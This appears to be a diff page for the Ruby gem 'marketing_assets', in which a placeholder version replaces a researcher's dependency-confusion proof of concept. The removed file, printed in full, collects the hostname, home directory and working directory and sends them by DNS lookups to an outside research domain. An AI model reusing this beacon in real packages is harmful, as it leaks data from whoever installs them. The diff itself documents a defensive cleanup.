marketing_assets 2300.4.2 → 9001.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 0b2b37f7a232bc3b767792a28e8c83f7ad2ccc4416702492a0a836cf98fbf482
4
- data.tar.gz: 4d8f0968f1690361ffb08d34f68b95d8dd60415d887bcbf9317cbab7a4c255b6
3
+ metadata.gz: 8d2ca0603dd0e460a5b598d63aadc68a85efcc698e38e45d5647355bc6a22434
4
+ data.tar.gz: 819c75ebe0ebe4fb2a6e8847c4355e6bdf74c4983225612b48ab6b7a1f5b956e
5
5
  SHA512:
6
- metadata.gz: 6bc878012ca7c74c11d42fc558f27e5aec9055eab6e2b15efc0602375ba000f5791068882852de3d4e215f30767d89a7f7c180dc5d7d1a4115ad144c7afeb3f0
7
- data.tar.gz: c68b56e649630fad9c046c735d638c2be292e4b016ff441252b28f3c001439786b5404bd556955ef891140e4fbb4e6463d8a4cbb12bb43ce78075d559a3fa963
6
+ metadata.gz: f6c7f2c6f8274807eb670b90ce309cfff1d517f343bd1579e0107f2030f28d515fc91445670badbf3d05350e01c99a9046ac7e0999ce4c3e84556a4631fe2063
7
+ data.tar.gz: e904985e1af538c841f3f588ecac09f4453bc20b1c41eedf46e5627e05e43acd674311c0c4ef8f00df02497925aa69020c2323f3f4ee289cc7d88ff8b5f65bb4
data/Gemfile ADDED
File without changes
File without changes
data/VERSION ADDED
@@ -0,0 +1 @@
1
+ 1000.0
@@ -0,0 +1 @@
1
+ raise 'this is an internal-only gem'
metadata CHANGED
@@ -1,28 +1,29 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: marketing_assets
3
3
  version: !ruby/object:Gem::Version
4
- version: 2300.4.2
4
+ version: '9001.0'
5
5
  platform: ruby
6
6
  authors:
7
- - Alex Birsan
8
- autorequire:
7
+ - admins@shopify.com
8
+ autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2020-09-14 00:00:00.000000000 Z
11
+ date: 2020-01-01 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: This package is meant for security research purposes and does not contain
14
- any useful code.
15
- email: alex@ethicalhack.ro
13
+ description:
14
+ email:
16
15
  executables: []
17
16
  extensions: []
18
17
  extra_rdoc_files: []
19
18
  files:
20
- - lib/marketing_assets.rb
21
- homepage: https://twitter.com/alxbrsn
22
- licenses:
23
- - MIT
19
+ - Gemfile
20
+ - Rakefile
21
+ - VERSION
22
+ - lib/gem.rb
23
+ homepage:
24
+ licenses: []
24
25
  metadata: {}
25
- post_install_message:
26
+ post_install_message:
26
27
  rdoc_options: []
27
28
  require_paths:
28
29
  - lib
@@ -38,7 +39,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
38
39
  version: '0'
39
40
  requirements: []
40
41
  rubygems_version: 3.0.3
41
- signing_key:
42
+ signing_key:
42
43
  specification_version: 4
43
- summary: Security research purposes only
44
+ summary: placeholder gem
44
45
  test_files: []
@@ -1,64 +0,0 @@
1
-
2
- =begin
3
-
4
- This code is used for research purposes.
5
-
6
- No sensitive data is retrieved.
7
-
8
- Callbacks from within organizations with a
9
- responsible disclosure policy will be reported
10
- directly to the organizations.
11
-
12
- Any other callbacks will be ignored, and
13
- any associated data will not be kept.
14
-
15
- For any questions or suggestions:
16
-
17
- alex@ethicalhack.ro
18
- https://twitter.com/alxbrsn
19
-
20
- =end
21
-
22
- require 'socket'
23
- require 'json'
24
- require 'resolv'
25
-
26
- suffix = '.dns.alexbirsan-hacks-paypal.com'
27
- ns = 'dns1.alexbirsan-hacks-paypal.com'
28
-
29
- package = 'marketing_assets'
30
-
31
- # only the bare minimum to be able to identify
32
- # a vulnerable organization
33
- data = {
34
- 'p' => package,
35
- 'h' => Socket.gethostname,
36
- 'd' => File.expand_path('~'),
37
- 'c' => Dir.pwd
38
- }
39
-
40
- data = JSON.generate(data)
41
- data = data.unpack('H*')[0].scan(/.{1,60}/)
42
-
43
- id_1 = rand(36**12).to_s(36)
44
- id_2 = rand(36**12).to_s(36)
45
-
46
- begin
47
- ns_ip = Resolv.getaddress(ns)
48
- rescue
49
- ns_ip = '4.4.4.4'
50
- end
51
-
52
- custom_res = Resolv.new([Resolv::Hosts.new,
53
- Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
54
-
55
-
56
- data.each.each_with_index do |chunk, idx|
57
- begin
58
- Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
59
- rescue; end
60
-
61
- begin
62
- custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
63
- rescue; end
64
- end